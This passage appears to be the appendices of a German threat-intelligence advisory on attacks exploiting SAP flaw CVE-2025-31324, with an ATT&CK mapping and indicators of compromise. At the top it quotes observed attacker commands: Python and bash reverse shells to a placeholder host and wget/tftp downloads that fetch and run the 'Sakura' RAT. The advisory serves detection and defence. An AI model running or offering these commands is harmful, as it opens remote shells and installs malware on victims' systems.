python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(„x.x.x.x“,9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([„/bin/sh“,„-i“])’
/bin/bash -i > /dev/tcp/x.x.x.x/9001 0>&1
Stellt eine Rückverbindung zu einem vom Angreifer kontrollierten Dienst her, um eine Reverse-Shell zu errichten.
RATwget http://x.x.x.x/Sakura.sh
wget http://x.x.x.x/x-8.6-.Sakura
chmod 777 x-8.6-.Sakura.1
sh x-8.6-.Sakura.1
./x-8.6-.Sakura.1 > test
tftp -g x.x.x.x
Lädt ein bekanntes Fernzugriffstool namens Sakura herunter und installiert es.

Anhang III: MITRE ATT&CK® :

Nachstehend finden Sie eine Tabelle, in der die beobachteten Angreiferaktivitäten dem MITRE ATT&CK Framework zugeordnet sind.

TaktikTechnik-IDBezeichnung der TechnikBeschreibung
Erster ZugriffT1190Sicherheitslücke in einer öffentlich zugänglichen AnwendungAngreifer nutzten die Sicherheitslücke CVE-2025-31324 in öffentlich zugänglichen SAP-Anwendungen aus.
AusführungT1059.004Befehls- und Skriptinterpreter: JavaDer Exploit nutzt die Java-Deserialisierung, um Befehle auf dem Zielserver auszuführen.
T1059.004Befehls- und Skriptinterpreter: Unix-ShellAuf Linux-Systemen wurde „/bin/sh -c“ zur Ausführung von Befehlen verwendet.
BeharrlichkeitT1505.003Server-Softwarekomponente: Web-ShellEs wurden dauerhafte Webshells in das SAP-System hochgeladen, die einen fortlaufenden Zugriff ermöglichten. Dabei wurden sowohl Standard- als auch benutzerdefinierte Webshells (z. B. verschlüsselte, passwortgeschützte) festgestellt.
EntdeckungT1083Erkennung von Dateien und VerzeichnissenDie Angreifer führten Befehle wie „ls“ und „cat“ aus, um Verzeichnisse aufzulisten, die Datei „/etc/passwd“ einzusehen und SAP-Konfigurationen zu überprüfen (/usr/sap/*/SYS/profile/*, /etc/opt/usr/sap/, .ini-Dateien in /usr/sap, /usr/sap/SID/SYS/global/security/rsecssfs).
T1033Ermittlung von Systembesitzern und -nutzernDer Befehl „whoami“ wurde häufig zur Erkundung verwendet.
T1087KontoerkennungEs wurden Versuche unternommen, Anmeldedaten im Klartext ausfindig zu machen, darunter JDBC-Daten und AWS-Anmeldedaten.
T1082Ermittlung von SysteminformationenDie Angreifer haben Umgebungsvariablen und Systemdateien angezeigt. 
VerteidigungsausweichenT1027Verschleierte Dateien oder InformationenFür Shells und Befehle wurde die Base64-Kodierung verwendet.
Zugriff auf AnmeldedatenT1555Anmeldedaten aus Passwort-SpeichernDie Angreifer haben die SAP-JAVA-Dateien „SSFS“, „SecStore.properties“ und „SecStore.key“, die Passwörter enthalten, mit dem Befehl „cat“ ausgelesen.
Führung und ControlT1071.001Protokoll der Anwendungsschicht: WebprotokolleZur Auslieferung der Exploits wurden HTTP-POST-Anfragen verwendet. Der Zugriff auf die Webshells erfolgte über HTTP-GET-Anfragen.
T1090.003Proxy: Multi-Hop-ProxyTOR-Ausgangsknoten wurden genutzt, um die wahre Quelle der Angriffe zu verschleiern.
T1219Tools für den FernzugriffZur Control Zielsysteme wurde die bekannte RAT „Sakura“ eingesetzt.
ExfiltrationT1041Exfiltration über den C2-KanalDie Daten wurden über mehrere Kanäle abgezogen.

Anhang IV: Anzeichen für eine Kompromittierung

Die folgenden Indikatoren für eine Kompromittierung (IoCs) können für die Bedrohungssuche nach Angreifern genutzt werden, die SAP-Anwendungen ins Visier nehmen, um die Sicherheitslücke CVE-2025-31324 auszunutzen, wie in den letzten Tagen beobachtet wurde:

IndikatorartIndikatorBeschreibung
IP-Adressen102[.]91[.]105[.]27
103[.]131[.]14[.]77
146[.]70[.]119[.]12
146[.]70[.]119[.]76
149[.]22[.]88[.]136
177[.]93[.]11[.]110
193[.]32[.]249[.]168
203[.]219[.]11[.]62
216[.]45[.]58[.]177
219[.]76[.]134[.]23
65[.]49[.]68[.]59
68[.]178[.]200[.]40
Nicht-Tor-IP-Adressen, die zum Ausnutzen der Sicherheitslücke CVE-2025-31324 oder zum Herstellen einer Verbindung zu bereits installierten Webshells verwendet wurden.
IP-Adressen49,13,239,46
192,142,54,207
Vom Angreifer kontrollierte IP-Adressen, die für Reverse-Shells und das Herunterladen von Artefakten verwendet werden.
Webshells235922fcda386fad5030c0ef7e15d150f419ea3b66d3dea99a1420e9d4dc5a05

c76fe2df728c9d91f678a4efd0cff9d66a0511789194af62f0ea6979ddcc25bd

f38f0abf9e68cb76bae8c4d21ad5eddd5b46c5fded35b58ac0274f729faf6a7e

29fbb126ea76866de3ee920e39a761d64c8ce7e6a4f9dabae28a3a2f4853b24f

86a8d949a9568b4697624d36f4c0b976613b66ade8021123cc62eda7f9cabe61

374ea6bc8fb40cd858b1b086cb2bb57f46a6d758bc54b37441897f38af36f627
Abgelegte Webshells. JSP-Dateien mit zufälligen Namen.
Verlorene Dateien36173e35e9712a20237c6aa115a6af75cd0874ae8f24e034692b7c65288cce2a Das Skript „Sakura.sh“ dient zum Herunterladen architekturspezifischer Binärdateien.
Verlorene Dateien045ba75c8372cd461a8ad49a378a9c027c0f6a5bf5ae2d8df969398e72825119x-8.6-.Sakura (Sakura RAT)